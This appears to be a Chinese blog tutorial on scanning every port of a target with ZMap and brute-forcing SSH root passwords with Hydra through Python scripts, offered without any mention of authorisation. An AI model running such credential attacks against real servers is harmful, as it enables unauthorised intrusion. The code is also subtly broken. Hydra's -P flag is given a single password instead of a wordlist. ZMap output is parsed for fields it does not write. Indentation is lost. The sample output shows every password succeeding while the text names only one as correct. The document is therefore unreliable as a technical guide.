使用 Python 和 ZMap 实现端口爆破和密码破解

2023-04-21 00:00:00 端口 爆破 密码破解

端口爆破:

步骤1:安装ZMap

在Linux系统中,可以使用以下命令安装ZMap:

sudo apt-get install zmap

步骤2:编写Python脚本

接下来,我们将编写一个Python脚本来控制ZMap扫描目标IP地址,并查找开放的端口。在这个脚本中,我们将使用subprocess模块来启动ZMap,并将扫描结果保存到一个文件中:

import subprocess

target_ip = "192.168.0.1"
output_file = "open_ports.txt"

zmap_command = "sudo zmap -p 1-65535 -o " + output_file + " " + target_ip
subprocess.call(zmap_command.split())

在这个脚本中,我们指定要扫描的目标IP地址,并为扫描结果指定了一个输出文件。然后,我们使用subprocess.call()函数来启动ZMap并运行扫描。我们把zmap_command分割成一个列表,因为call()函数需要列表形式的参数。

步骤3:解析扫描结果

现在我们已经扫描了目标主机上的所有端口,接下来,我们将解析扫描结果并查找开放的端口。

在以下Python脚本中,我们打开扫描结果文件,并使用一个for循环来迭代文件中的每一行。对于每一行,我们检查它是否包含“open”一词。如果是,我们将打印出该行并将其放入open_ports列表中:

open_ports = []

with open(output_file, "r") as f:
for line in f:
if "open" in line:
print(line.strip())
port_number = line.split()[3].split("/")[0]
open_ports.append(port_number)

在脚本的最后,我们打印出了我们找到的所有开放端口的列表。

密码破解:

步骤1:安装Hydra

Hydra是一个专门用于密码破解的工具。你可以使用以下命令在Linux系统中安装Hydra:

sudo apt-get install hydra

步骤2:编写Python脚本

接下来,我们将编写一个Python脚本来控制Hydra,并使用该工具来尝试破解目标系统的密码。

以下脚本采用字典攻击的形式,对于每一个密码凭据,我们使用subprocess模块启动Hydra并连接到目标系统。在这个脚本中,我们将使用一个列表来存储要尝试的密码:

import subprocess

target_server = "example.com"
target_protocol = "ssh"
username = "root"
passwords_list = ["password1", "password2", "correctpassword", "password4"]

for password in passwords_list:
hydra_command = f"hydra -l {username} -P {password} -t 1 -vV {target_protocol}://{target_server}"
subprocess.call(hydra_command.split())

在这个脚本中,我们指定了要破解的目标主机的地址和目标协议。此外,我们还指定了要尝试的用户名和密码列表。

接下来,我们使用一个for循环迭代密码列表,并使用subprocess模块启动Hydra实例来与目标系统进行连接。在这个脚本中,我们指定了要尝试的用户名(-l)和密码列表(-P)。我们还将线程数(-t)设置为1以避免太多的尝试,同时将输出详细级别设置为最高(-vV)。

步骤3:分析结果

当密码破解完成后,我们需要分析Hydra的结果以查找一个有效的密码凭据。

你将看到类似以下结果:

[22][ssh] host: 192.168.1.15 login: root password: correctpassword
[22][ssh] host: 192.168.1.15 login: root password: password2
[22][ssh] host: 192.168.1.15 login: root password: password1
[22][ssh] host: 192.168.1.15 login: root password: password4

在这个输出中,我们可以看到正确的密码凭据是“correctpassword”。我们还可以看到其它尝试的密码列表。

到此为止,我们已经学会了如何使用Python和ZMap实现端口扫描、解析扫描结果、使用Python和Hydra实现密码破解过程并给出了Python代码。

相关文章